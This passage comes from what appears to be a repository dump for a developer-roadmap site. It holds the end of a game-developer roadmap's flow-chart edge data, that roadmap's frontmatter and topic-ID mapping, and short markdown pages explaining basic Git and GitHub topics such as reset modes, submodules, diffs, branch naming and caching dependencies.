\"reactflow__edge-CDYszS1U4v95GozB_drbty2-rmtxybcavWV6A53R4ZWgcz1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"eI2jym4AAz3ani-lreSKE\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"0g1z5G2dsF4PTIfFAG984\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-eI2jym4AAz3ani-lreSKEx2-0g1z5G2dsF4PTIfFAG984w1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"UTBnrQiZ6Bf96yJYIUf3b\",\n      \"sourceHandle\": \"w2\",\n      \"target\": \"0D7KQlF-9ylmILTBBVxot\",\n      \"targetHandle\": \"x2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-UTBnrQiZ6Bf96yJYIUf3bw2-0D7KQlF-9ylmILTBBVxotx2\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"lIb5MeDoqVj6HycveOgTS\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"qIrePusMuvcUva9LMDmDx\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-lIb5MeDoqVj6HycveOgTSy2-qIrePusMuvcUva9LMDmDxz1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"Hpf_CPmLpCSP8Qo07Kq1X\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"Ky-95ipdgyPZGAIdqwMCk\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-CDYszS1U4v95GozB_drbtz2-Ky-95ipdgyPZGAIdqwMCky1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"Hpf_CPmLpCSP8Qo07Kq1X\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"Hpk8eOaOepERMmOvUgkxa\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"type\": \"simplebezier\",\n      \"id\": \"reactflow__edge-Hpf_CPmLpCSP8Qo07Kq1Xx2-CDYszS1U4v95GozB_drbtw1\"\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"Hpk8eOaOepERMmOvUgkxa\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"CDYszS1U4v95GozB_drbt\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-Hpk8eOaOepERMmOvUgkxax2-CDYszS1U4v95GozB_drbtw1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"_i7BXZq-iLxQc3QZRMees\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"qoIkw9o8iMx7MzUyVYoR2\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-XvFtMHrYsBREmuerE7CGcx2-qoIkw9o8iMx7MzUyVYoR2w1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"CDYszS1U4v95GozB_drbt\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"_i7BXZq-iLxQc3QZRMees\",\n      \"targetHandle\": \"y2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-CDYszS1U4v95GozB_drbtz2-XvFtMHrYsBREmuerE7CGcy2\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"CDYszS1U4v95GozB_drbt\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"XvFtMHrYsBREmuerE7CGc\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-CDYszS1U4v95GozB_drbty2-XvFtMHrYsBREmuerE7CGcz1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"XvFtMHrYsBREmuerE7CGc\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"YrQgfjsdLCIUxrwflpEHO\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-XvFtMHrYsBREmuerE7CGcx2-YrQgfjsdLCIUxrwflpEHOw1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"CDYszS1U4v95GozB_drbt\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"GV_zWF6rSWg5bqgiXhOEf\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-CDYszS1U4v95GozB_drbtx2-GV_zWF6rSWg5bqgiXhOEfw1\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    }\n  ]\n}"
  },
  {
    "path": "src/data/roadmaps/game-developer/game-developer.md",
    "content": "---\npdfUrl: '/pdfs/roadmaps/game-developer.pdf'\norder: 17\nrenderer: 'editor'\nbriefTitle: 'Game Developer'\nbriefDescription: 'Roadmap to becoming a Game Developer in 2025'\ntitle: 'Game Developer'\ndescription: 'Roadmap to becoming a Game Developer in 2025'\nhasTopics: true\nisNew: false\ndimensions:\n  width: 968\n  height: 2370\nschema:\n  headline: 'Game Developer Roadmap'\n  description: 'Learn what Game Development is, what game developers do and how to become one using our community-driven roadmap.'\n  imageUrl: 'https://roadmap.sh/roadmaps/game-developer.png'\n  datePublished: '2023-10-26'\n  dateModified: '2023-10-26'\nseo:\n  title: 'Game Developer Roadmap'\n  description: 'Learn what game development is, what game developers do and how to become one using our community-driven roadmap.'\n  keywords:\n    - 'game developer roadmap 2024'\n    - 'game developer roadmap 2025'\n    - 'guide to becoming a developer'\n    - 'guide to becoming a game developer'\n    - 'game developer roadmap'\n    - 'game developer'\n    - 'game engineer'\n    - 'game skills'\n    - 'game development'\n    - 'game development skills'\n    - 'game development skills test'\n    - 'game engineer roadmap'\n    - 'become a game developer'\n    - 'game developer career path'\n    - 'modern javascript developer'\n    - 'node developer'\n    - 'skills for game development'\n    - 'learn game development'\n    - 'what is game development'\n    - 'game developer quiz'\n    - 'game developer interview questions'\nrelatedRoadmaps:\n  - 'backend'\n  - 'server-side-game-developer'\n  - 'react-native'\n  - 'python'\n  - 'javascript'\nsitemap:\n  priority: 1\n  changefreq: 'monthly'\ntags:\n  - 'roadmap'\n  - 'main-sitemap'\n  - 'role-roadmap'\n---\n"
  },
  {
    "path": "src/data/roadmaps/game-developer/migration-mapping.json",
    "content": "{\n  \"client-side\": \"rQArtuVKGVgLn_fw9yO3b\",\n  \"game-mathematics\": \"m1wX27XBWKXZcTMH2U1xp\",\n  \"game-mathematics:linear-algebra\": \"grRf-MmaXimDB4iODOV47\",\n  \"game-mathematics:vector\": \"yLEyh5XJ3sl8eHD-PoSvJ\",\n  \"game-mathematics:matrix\": \"Kg6Mg9ieUUGXWX9Lai7B0\",\n  \"game-mathematics:geometry\": \"XWxW2ZBw3LcQ4DRk4tgAG\",\n  \"game-mathematics:linear-transformation\": \"XABzEU9owCx9-zw1id9xU\",\n  \"game-mathematics:affine-space\": \"r5TcXQsU9s4NlAQIPvZ3U\",\n  \"game-mathematics:affine-transformation\": \"SkCreb6g4i-OFtJWhRYqO\",\n  \"game-mathematics:orientation\": \"iIWEjpkNFBj4R5wQ0mcWY\",\n  \"game-mathematics:projection\": \"5qfoD77wU4ETI7rUSy4Nc\",\n  \"game-mathematics:orientation:quaternion\": \"zPs_LlDvkfxvvCrk5fXB2\",\n  \"game-mathematics:orientation:euler-angle\": \"L0J2kvveJNsmN9ueXhqKf\",\n  \"game-mathematics:curve\": \"YTkOF_33oL1ZkA-loc_DP\",\n  \"game-mathematics:orientation:spline\": \"nTiHZXRh2j3_FsBotmlGf\",\n  \"game-mathematics:orientation:hermite\": \"m4AuHjEBnHS0wyATG-I1Z\",\n  \"game-mathematics:orientation:bezier\": \"DUEEm9sAaZqSI-W-PFZ8f\",\n  \"game-mathematics:orientation:catmull-rom\": \"N9GoA3YvOaKwYjljj6NZv\",\n  \"game-mathematics:projection:perspective\": \"LEJymJ2EaAW5FM5LgKW38\",\n  \"game-mathematics:projection:orthogonal\": \"d6C1qFv-Tad3AtMBDLI6r\",\n  \"game-physics\": \"UTBnrQiZ6Bf96yJYIUf3b\",\n  \"game-physics:dynamics\": \"0D7KQlF-9ylmILTBBVxot\",\n  \"game-physics:dynamics:center-of-mass\": \"HWtU4q-YPXxSi64t43VNF\",\n  \"game-physics:dynamics:moment-of-inertia\": \"6E2mkXuAzoYnrT1SEIA16\",\n  \"game-physics:dynamics:acceleration\": \"ejZMnxZ0QrN-jBqo9Vrj8\",\n  \"game-physics:dynamics:joints\": \"m2_wUW2VHMCXHnn5B91qr\",\n  \"game-physics:dynamics:force\": \"qduFRhmrzJ2sn0g7L-tza\",\n  \"game-physics:dynamics:restitution\": \"egOcxFTQP7vPIGrxcieuk\",\n  \"game-physics:dynamics:angular-velocity\": \"Y7HYY5eq7OG42V9yQz0Q1\",\n  \"game-physics:dynamics:buoyancy\": \"WzcmdW_fKHv3gwdBnvI0_\",\n  \"game-physics:dynamics:friction\": \"Hz9R4YGYtD0jAur8rYist\",\n  \"game-physics:dynamics:linear-velocity\": \"Z_U6abGV_wVkTGZ2LVkFK\",\n  \"game-physics:collision-detection\": \"AdOfOJtLtNgDwuABb6orE\",\n  \"game-physics:collision-detection:narrow-phase\": \"SuemqQuiePab0Qpm2EGy9\",\n  \"game-physics:collision-detection:broad-phase\": \"AKd2UpITqBZV7cZszSRps\",\n  \"game-physics:collision-detection:ccd\": \"1yK8TH4Pn7Ag8VQoug54i\",\n  \"game-physics:collision-detection:narrow-phase:intersection\": \"vmRYaXNVCe0N73xG8bsEK\",\n  \"game-physics:collision-detection:narrow-phase:intersection:sat\": \"kSMz7mZ243qMKtT_YD3AD\",\n  \"game-physics:collision-detection:narrow-phase:intersection:gjk\": \"lwd3Gz9bJEKCIwhXD6m-v\",\n  \"game-physics:collision-detection:narrow-phase:intersection:epa\": \"vWLKYK2KUzV1fO-vQunzW\",\n  \"game-physics:collision-detection:narrow-phase:convexity\": \"YLusnwCba7BIdKOYUoY6F\",\n  \"game-physics:collision-detection:narrow-phase:convexity:convex\": \"pG_V12qhS4HevoP_KHTvh\",\n  \"game-physics:collision-detection:narrow-phase:convexity:concave\": \"jslk7Gy58VspO1uXGDgBp\",\n  \"game-physics:collision-detection:narrow-phase:convexity:convex:convex-hull\": \"jixffcPBELkhoG0e7Te8g\",\n  \"game-physics:collision-detection:narrow-phase:convexity:concave:convex-decomposition\": \"bgP9NpD0DJGqN4VCt65xP\",\n  \"game-physics:collision-detection:broad-phase:bounding-volume\": \"PLR_4yoRifoTzkOR4c7ym\",\n  \"game-physics:collision-detection:broad-phase:bounding-volume:aabb\": \"aTeYGd4JlPr5txNPyBezn\",\n  \"game-physics:collision-detection:broad-phase:bounding-volume:obb\": \"7nGtvbxoEAheiF4IPMfPf\",\n  \"game-physics:collision-detection:broad-phase:spatial-partitioning\": \"9Fk3XSINBr2NNdbMtwsIK\",\n  \"game-physics:collision-detection:broad-phase:spatial-partitioning:sort-and-sweep\": \"STdvFYM9V0a36IkPXjvrB\",\n  \"game-physics:collision-detection:broad-phase:spatial-partitioning:bvh\": \"FCc5xwb_G3VsDRXOcg3hV\",\n  \"game-physics:collision-detection:broad-phase:spatial-partitioning:bvh:dbvt\": \"XHFV4d6Ab4kWQ3-XcZTyT\",\n  \"game-engine\": \"fv5tivGad2P9GRZOodfn2\",\n  \"game-engine:unity-3d\": \"rNeOti8DDyWTMP9FB9kJ_\",\n  \"game-engine:unreal-engine\": \"a6H-cZtp3A_fB8jnfMxBR\",\n  \"game-engine:native\": \"CeAUEN233L4IoFSZtIvvl\",\n  \"game-engine:godot\": \"7OffO2mBmfBKqPBTZ9ngI\",\n  \"programming-languages\": \"4YgbrXLXf5mfaL2tlYkzk\",\n  \"programming-languages:csharp\": \"Ph3ZqmSnwwzUBUC-6dgf-\",\n  \"programming-languages:c-cpp\": \"jsq0UXnIIC0Z_nbK2w48f\",\n  \"programming-languages:assembly\": \"AaRZiItRcn8fYb5R62vfT\",\n  \"programming-languages:rust\": \"ts9pWxUimvFqfNJYCmNNw\",\n  \"programming-languages:python\": \"AJp_QRLgSG5ETXDIjUjmm\",\n  \"computer-graphics\": \"lIb5MeDoqVj6HycveOgTS\",\n  \"computer-graphics:ray-tracing\": \"JW5c_0JEtO-OiBoXUia6A\",\n  \"computer-graphics:rasterization\": \"vYNj9nzu90e9xlrzHULnP\",\n  \"computer-graphics:graphics-pipeline\": \"shSRnMf4NONuZ3TGPAoQc\",\n  \"computer-graphics:sampling\": \"rmtxybcavWV6A53R4ZWgc\",\n  \"computer-graphics:shader\": \"qIrePusMuvcUva9LMDmDx\",\n  \"computer-graphics:shader:render-equation\": \"WVgozaQPFbYthZLWMbNUg\",\n  \"computer-graphics:shader:reflection\": \"eI2jym4AAz3ani-lreSKE\",\n  \"computer-graphics:shader:mapping\": \"THMmnx8p_P0X-dSPoHvst\",\n  \"computer-graphics:shader:reflection:diffuse\": \"0g1z5G2dsF4PTIfFAG984\",\n  \"computer-graphics:shader:reflection:specular\": \"odfZWKtPbb-lC35oeTCNV\",\n  \"computer-graphics:shader:mapping:texture\": \"iBZ1JsEWI0xuLgUvfWfl-\",\n  \"computer-graphics:shader:mapping:bump\": \"r4UkMd5QURbvJ3Jlr_H9H\",\n  \"computer-graphics:shader:mapping:parallax\": \"YGeGleEN203nokiZIYJN8\",\n  \"computer-graphics:shader:mapping:horizon\": \"9cBOfj58I4hBlxlQIyV9g\",\n  \"computer-graphics:computer-animation\": \"1RdyzTI_TXqmct2bIbNh9\",\n  \"computer-graphics:color\": \"WK6fLWJq9Vh2ySVrSqd-U\",\n  \"computer-graphics:visual-perception\": \"1S1qPogijW2SQCiF7KLZe\",\n  \"computer-graphics:tone-reproduction\": \"RgC9TOc0wbr2QSuvrpIDV\",\n  \"computer-graphics:lightning-and-shadow\": \"DDN3mn0LTueBhjRzXFcbU\",\n  \"computer-graphics:lightning-and-shadow:stencil-shadow\": \"AEAVc8Ih4fctSGGVJG0Np\",\n  \"computer-graphics:lightning-and-shadow:shadow-map\": \"ygtru6fqQ3gpFZRN_I8rP\",\n  \"computer-graphics:lightning-and-shadow:shadow-map:2d\": \"Wq8siopWTD7sylNi0575X\",\n  \"computer-graphics:lightning-and-shadow:shadow-map:cube\": \"cv1-AwewuqJsZDBI3h84G\",\n  \"computer-graphics:lightning-and-shadow:shadow-map:cascaded\": \"Lu38SfZ38y89BffLRMmGk\",\n  \"computer-graphics:lightning-and-shadow:light-source\": \"VLrcBE1vb6N5fw5YESCge\",\n  \"computer-graphics:lightning-and-shadow:light-source:directional-light\": \"foD8K7V0yIxgeXwl687Bv\",\n  \"computer-graphics:lightning-and-shadow:light-source:point-light\": \"aNhyXWW2b7yKTv8y14zk9\",\n  \"computer-graphics:lightning-and-shadow:light-source:spot-light\": \"FetbhcK1RDt4izZ6NEUEP\",\n  \"computer-graphics:lightning-and-shadow:light-source:infinite-light\": \"sC3omOmL2DOyTSvET5cDa\",\n  \"computer-graphics:visibility-and-occlusion\": \"OcxesFnB5wO6VXrHYnhz-\",\n  \"computer-graphics:visibility-and-occlusion:occluder\": \"MlLYqO_8JDNOwKRvaM-bf\",\n  \"computer-graphics:visibility-and-occlusion:culling\": \"1gdDeUPBRco10LpOxug4k\",\n  \"computer-graphics:visibility-and-occlusion:clipping\": \"xP_VDMu1z9jiVnZaBFKJQ\",\n  \"computer-graphics:visibility-and-occlusion:occluder:fog\": \"2ocwC0P1-ZFmjA9EmA1lV\",\n  \"computer-graphics:visibility-and-occlusion:culling:frustum\": \"UcLGWYu41Ok2NYdLNIY5C\",\n  \"computer-graphics:visibility-and-occlusion:culling:light\": \"_1LkU258hzizSIgXipE0b\",\n  \"computer-graphics:visibility-and-occlusion:culling:shadow\": \"lqfW8hkuN3vWtacrqBBtI\",\n  \"computer-graphics:visibility-and-occlusion:clipping:polygon\": \"-r15srXTBLnUGokpXKclH\",\n  \"computer-graphics:visibility-and-occlusion:clipping:polyhedron\": \"GHfLMtgmc36OCvjQvW_Su\",\n  \"graphics-api\": \"Kx7O7RLp7aPGtOvK8e314\",\n  \"graphics-api:direct-x\": \"bgWFV09AtDv1yJS5t0EaB\",\n  \"graphics-api:open-gl\": \"ffa5-YxRhE3zhWg7KXQ4r\",\n  \"graphics-api:vulkan\": \"yPfhJSTFS7a72UcqF1ROK\",\n  \"graphics-api:direct-x:hlsl\": \"wYUDJb-q1rtM4w2QV3Wr1\",\n  \"graphics-api:open-gl:glsl\": \"j8mWMFMQCEIPUzegDDsm1\",\n  \"graphics-api:vulkan:spirv\": \"DvV32n3NoXNEej8Fsqqs2\",\n  \"graphics-api:web-gl\": \"CeydBMwckqKll-2AgOlyd\",\n  \"graphics-api:opengl-es\": \"EVOiWAeZsIvjLTt3EYu-6\",\n  \"graphics-api:metal\": \"oEznLciLxZJaulMlBGgg4\",\n  \"game-api\": \"Hpf_CPmLpCSP8Qo07Kq1X\",\n  \"game-api:decision-making\": \"Ky-95ipdgyPZGAIdqwMCk\",\n  \"game-api:movement\": \"mUyzX-DXnIKDl-r9o8d38\",\n  \"game-api:board-game\": \"eoK70YRCz73GmzbNhh5kg\",\n  \"game-api:decision-making:decision-tree\": \"rwGivalwv2ozdSlVMSc4U\",\n  \"game-api:decision-making:state-machine\": \"aJa_2xkZuSjQ5bt6Kj5oe\",\n  \"game-api:decision-making:behavior-tree\": \"ztoW8fBY73Es624A_tjd7\",\n  \"game-api:decision-making:fuzzy-logic\": \"4ZCVUpYrCT14d_JULulLe\",\n  \"game-api:decision-making:markov-system\": \"c6j-30p84vk3MZEF1R2hN\",\n  \"game-api:decision-making:goal-oriented-behavior\": \"Cuc0xvCAkVyUtwOxO_Uua\",\n  \"game-api:board-game:minimax\": \"oOjGqicW3eqRwWyIwJdBA\",\n  \"game-api:board-game:ab-pruning\": \"KYCi4d475zZfNwlj6HZVD\",\n  \"game-api:board-game:mcts\": \"QD9TfZn3yhGPVwiyJ6d0V\",\n  \"game-api-2\": \"Hpk8eOaOepERMmOvUgkxa\",\n  \"game-api-2:learning\": \"9_OcZ9rzedDFfwEYxAghh\",\n  \"game-api-2:learning:decision-learning\": \"ul5XnVwQCwr4ZaL4kBNpd\",\n  \"game-api-2:learning:naive-bayes-classifier\": \"aw1BAGqrdBBmUwB6vMF_A\",\n  \"game-api-2:learning:decision-tree-learning\": \"sz1047M8_kScjth84yPwU\",\n  \"game-api-2:learning:deep-learning\": \"ltkEyfuDxExs7knqs79ya\",\n  \"game-api-2:learning:artificial-neural-network\": \"AoH2r4EOHyZd8YaV24rBk\",\n  \"game-api-2:learning:reinforcements-learning\": \"rGEHTfdNeBAX3_XqC-vvI\",\n  \"advanced-rendering\": \"CDYszS1U4v95GozB_drbt\",\n  \"advanced-rendering:real-time-ray-tracing\": \"_i7BXZq-iLxQc3QZRMees\",\n  \"advanced-rendering:real-time-ray-tracing:directx-ray-tracing\": \"qoIkw9o8iMx7MzUyVYoR2\",\n  \"advanced-rendering:real-time-ray-tracing:vulkan-ray-tracing\": \"tDGnV8dGIFr_diz4HcEjr\",\n  \"advanced-rendering:real-time-ray-tracing:optix\": \"GDLysy3__cbYidEaOmFze\",\n  \"advanced-rendering:physically-based-rendering\": \"XvFtMHrYsBREmuerE7CGc\",\n  \"advanced-rendering:physically-based-rendering:translucency-and-transparency\": \"H3hkafXO9zqEnWuwHa38P\",\n  \"advanced-rendering:physically-based-rendering:metallicity\": \"olY1ibR7kw1yJ58TfU-37\",\n  \"advanced-rendering:physically-based-rendering:microsurface-scattering\": \"YrQgfjsdLCIUxrwflpEHO\"\n}"
  },
  {
    "path": "src/data/roadmaps/git-github/content/--hard@V_joZNpQsS9G9PI-o-GmC.md",
    "content": "# --hard\n\nWith this option, both the HEAD pointer and the working directory's contents are updated to match the specified commit. Any changes made since then will be lost.\n\nVisit the following resources to learn more:\n\n- [@official@--hard documentation](https://git-scm.com/docs/git-reset#Documentation/git-reset.txt---hard)"
  },
  {
    "path": "src/data/roadmaps/git-github/content/--mixed@qis7Z5VRxMcOmbesQlegZ.md",
    "content": "# --mixed\n\nWhen using mixed mode, the HEAD pointer is moved to the specified commit. However, files in your working directory remain as they were before the reset. The staging area (index) is updated to match the specified commit.\n\nVisit the following resources to learn more:\n\n- [@official@--mixed documentation](https://git-scm.com/docs/git-reset#Documentation/git-reset.txt---mixed)"
  },
  {
    "path": "src/data/roadmaps/git-github/content/--soft@Uc7FyfAKpDFRGRNHwztFo.md",
    "content": "# --soft\n\nIn this mode, only the HEAD pointer is moved to the specified commit. The files in your working directory are not modified, but they remain as they were when you started the reset.\n\n- [@official@--soft documentation](https://git-scm.com/docs/git-reset#Documentation/git-reset.txt---soft)"
  },
  {
    "path": "src/data/roadmaps/git-github/content/adding--updating@x4bnsPVTiX2xOCSyrgWpF.md",
    "content": "# Adding / Updating\n\nTo add a submodule to a repository, use `git submodule add https://github.com/user/submodule-repo.git`, which is the typical format for specifying the URL of the submodule repository. This creates a new folder for the submodule and checks it out at the specified revision. To update an existing submodule to its latest commit, run `git submodule update`. If you want to pull in changes from upstream while keeping your submodule's history intact, use `git submodule sync` followed by `git submodule update`.\n\nVisit the following resources to learn more:\n\n- [@article@Git submodules](https://www.atlassian.com/git/tutorials/git-submodule)\n- [@article@Working with submodules](https://github.blog/open-source/git/working-with-submodules/)"
  },
  {
    "path": "src/data/roadmaps/git-github/content/automations@TNBz5755PhI6iKxTQTqcS.md",
    "content": "# Automations\n\nTo add automation to your GitHub project, use built-in workflows that can trigger actions such as setting fields on item changes or archiving items meeting specific criteria, and also configure automatic item addition from repositories based on matching criteria.\n\nVisit the following resources to learn more:\n\n- [@official@Automating your project](https://docs.github.com/en/issues/planning-and-tracking-with-projects/automating-your-project)\n- [@video@GitHub Project Management - Create GitHub Project Board & Automations](https://www.youtube.com/watch?v=oPQgFxHcjAw&t=600s)"
  },
  {
    "path": "src/data/roadmaps/git-github/content/basic-git-usage@PtU5Qwfzn3N1i3oRlCGoR.md",
    "content": "# Basic Git Usage\n\nStarting with a new project, you'll use `git init` to initialize a repository and then make changes using `git add`. Once ready, commit your work with `git commit`. If mistakes occur, `git reset` can help correct them. You'll also interact with remote repositories, whether private or public, by adding remotes (git remote add) and managing their connections through commands like `git fetch`, `git push`, and `git pull`.\n\nVisit the following resources to learn more:\n\n- [@video@Git Tutorial for Beginners: Learn Git in 1 Hour](https://www.youtube.com/watch?v=8JJ101D3knE&t=1135s)\n- [@article@Git ignore](https://www.atlassian.com/git/tutorials/saving-changes/gitignore)\n- [@article@Git remote](https://www.atlassian.com/git/tutorials/syncing)\n- [@article@Git Cheat Sheet](https://education.github.com/git-cheat-sheet-education.pdf)\n- [@official@Git Branching - Basic Branching and Merging](https://git-scm.com/book/en/v2/Git-Branching-Basic-Branching-and-Merging)\n- [@official@Creating a new repository](https://docs.github.com/en/repositories/creating-and-managing-repositories/creating-a-new-repository)\n- [@official@Setting repository visibility](https://docs.github.com/en/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/setting-repository-visibility)\n- [@official@Pushing commits to a remote repository](https://docs.github.com/en/get-started/using-git/pushing-commits-to-a-remote-repository)"
  },
  {
    "path": "src/data/roadmaps/git-github/content/between-branches@O-zoAWkDvyn7B8_TmY257.md",
    "content": "# Between Branches\n\nWhen comparing the differences between two branches, such as a feature branch and its upstream parent branch, use `git diff <branch1>..<branch2>`. This command displays the changes made on the feature branch relative to the parent branch. It's useful for reviewing the impact of new features or changes before merging them into your mainline.\n\nVisit the following resources to learn more:\n\n- [@article@How to compare branches in Git diff](https://scribehow.com/shared/How_to_Compare_Branches_in_GitHub__xsotezV-S1O-GL0PquqJwQ)\n- [@article@How can I see the differences between two branches?](https://stackoverflow.com/questions/9834689/how-can-i-see-the-differences-between-two-branches)"
  },
  {
    "path": "src/data/roadmaps/git-github/content/between-commits@Rwpeltygwzcf6hnuZNURE.md",
    "content": "# Between Commits\n\nTo compare two specific commits in your Git history, use git diff followed by the hashes of the commits. This will show you the changes made between those two points, including added, modified, and deleted lines.\n\nVisit the following resources to learn more:\n\n- [@article@Comparing changes with Git diff](https://refine.dev/blog/git-diff-command/)\n- [@video@Git Diff 2 Different Commits, Tags or Branches](https://www.youtube.com/watch?v=uq5VWPDCtFo)"
  },
  {
    "path": "src/data/roadmaps/git-github/content/branch-naming@ks1Pip-RM-UWD6zuF2j4n.md",
    "content": "# Branch Naming\n\nA well-defined branch naming convention is essential for maintaining a clean and organized Git workflow. It's recommended to use descriptive and meaningful names that clearly indicate the purpose of each branch. For example, using prefixes like `feature/`, `fix/`, or `docs/` can help identify whether a branch is related to new feature development, bug fixes, or documentation updates. Additionally, including the issue or task ID (e.g., `issue/123`) can provide context and make it easier for team members to find relevant information. By following a consistent naming convention, you can improve collaboration, reduce confusion, and increase the overall efficiency of your Git workflow.\n\nVisit the following resources to learn more:\n\n- [@article@Naming conventions for Git Branches — a Cheatsheet](https://medium.com/@abhay.pixolo/naming-conventions-for-git-branches-a-cheatsheet-8549feca2534)\n- [@article@Git Branching Naming Convention: Best Practices to Follow](https://phoenixnap.com/kb/git-branch-name-convention)"
  },
  {
    "path": "src/data/roadmaps/git-github/content/branching-basics@bXfCUG3h1TIFPgD4WUDph.md",
    "content": "# Branching Basics\n\nBranches in Git serve as separate lines of development that allow multiple features or changes to be worked on simultaneously without affecting the main codebase. With branches, you can create isolated environments for different tasks, collaborate with others, and manage complex workflows.\n\nVisit the following resources to learn more:\n\n- [@official@Git Branching - Basic Branching and Merging](https://git-scm.com/book/en/v2/Git-Branching-Basic-Branching-and-Merging)\n- [@article@Learn Git Branching](https://learngitbranching.js.org/)\n- [@video@Git Branches Tutorial](https://www.youtube.com/watch?v=e2IbNHi4uCI)\n"
  },
  {
    "path": "src/data/roadmaps/git-github/content/caching-dependencies@HMNhzzV6ApTKj4I_FOmUB.md",
    "content": "# Caching Dependencies\n\nGitHub Actions provides a caching feature that allows you to store and reuse dependencies between workflows, reducing the time it takes to run your actions. By caching dependencies, you can:\n\n- Reuse compiled code\n- Store database connections\n- Reduce network traffic\n\nIt is highly recommended to not store any sensitive information in the cache. For example, sensitive information can include access tokens or login credentials stored in a file in the cache path.\n\nVisit the following resources to learn more:\n\n- [@official@Caching dependencies to speed up workflows](https://docs.github.com/en/actions/writing-workflows/choosing-what-your-workflow-does/caching-dependencies-to-speed-up-workflows)\n- [@video@Cache Management with GitHub actions](https://www.youtube.com/watch?v=7PVUjRXUY0o)"
  },
  {
    "path": "src/data/roadmaps/git-github/content/campus-program@B1KiSOt2b8t8FYD7Jxw2A.md",
